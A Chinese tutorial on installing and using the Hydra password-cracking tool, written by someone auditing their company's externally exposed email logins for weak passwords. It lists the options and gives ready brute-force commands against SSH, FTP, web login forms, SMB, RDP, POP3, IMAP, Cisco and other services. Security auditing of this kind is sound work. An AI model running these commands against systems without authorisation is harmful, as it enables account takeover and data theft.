Hydra—密码爆破神器
公司邮箱系统密码复杂度规则:字母大小写、数字、特殊字符,四选三,长度8位以上。这种复杂度的密码看着是比较安全的,但因历史原因,邮箱系统开放了外网登陆权限,加之公司人数众多,必然会有少量员工把自己的密码设成看似非常复杂但又非常普遍的常规密码,这些密码很容易被爆破,从而导致公司敏感信息泄露。
当必须忍受系统外网登陆的时候,出于业界良心,安全就只能不厌其烦的、定期的使用密码爆破工具主动扫描,主动发现风险用户了。以前用过burpsuite进行Web密码的扫描,操作方便但在爆破密码方面还不够强大(毕竟非专业)。最早听说过Hydra,直到最近才开始真正使用,果真是神器,支持的密码类型众多,足够使用,安装方便、操作简单。详情如下:
一、安装
Hydra一款开源的密码破解工具,目前Windows版本网上也能下载到,但还是推荐使用Linux版本。当前已发布linux 8.0版本,详见:
http://www.freebuf.com/sectool/36461.html
上面8.0的包在我个人的Redhat虚拟机上没有make成功,所以我安装的是7.4版本。下载地址:http://pan.baidu.com/s/1jI4tKhg
Redhat环境安装过程非常简单:
1、先安装工具依赖包
直接 yum install openssl-devel pcre-develncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel
2、编译安装
把安装包上传至服务器:
# tar zxvf hydra-7.4.1.tar.gz
# cd hydra-7.4.1
# ./configure
# make
# make install
二、使用实例
在文件夹里面新建user.txt,password.txt进行扫描了。
实例截图(SSH登陆密码):
实例截图(邮箱登陆密码):
三、命令语法
# hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
具体解释:
-R
继续从上一次进度接着破解
-S
大写,采用SSL链接
-s<PORT>
小写,可通过这个参数指定非默认端口
-l<LOGIN>
指定破解的用户,对特定用户破解
-L<FILE>
指定用户名字典
-p<PASS>
小写,指定密码破解,少用,一般是采用密码字典
-P<FILE>
大写,指定密码字典
-e<ns>
可选选项,n:空密码试探,s:使用指定用户和密码试探
-C<FILE>
使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数
-M<FILE>
指定目标列表文件一行一条
-o<FILE>
指定结果输出文件
-f
在使用-M参数以后,找到第一对登录名或者密码的时候中止破解
-t<TASKS>
同时运行的线程数,默认为16
-w<TIME>
设置最大超时的时间,单位秒,默认是30s
-v /-V
显示详细过程
server
目标ip
service
指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm]imap[-ntlm] smb smbnt http[s]-{head|get} http-{get|post}-form http-proxy ciscocisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhereteamspeak sip vmauthd firebird ncp afp等等
OPT 可选项
四、各协议的具体命令:
1、破解ssh:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp:
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交,破解web登录:
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
4、post方式提交,破解web登录:
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:<title>wrong username orpassword</title>"
(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)
5、破解https:
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
6、破解teamspeak:
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
7、破解cisco:
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
8、破解smb:
hydra -l administrator -P pass.txt 10.36.16.18 smb
9、破解pop3:
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp:
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy:
hydra -l admin -P pass.txt http-proxy://10.36.16.18
12、破解imap:
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN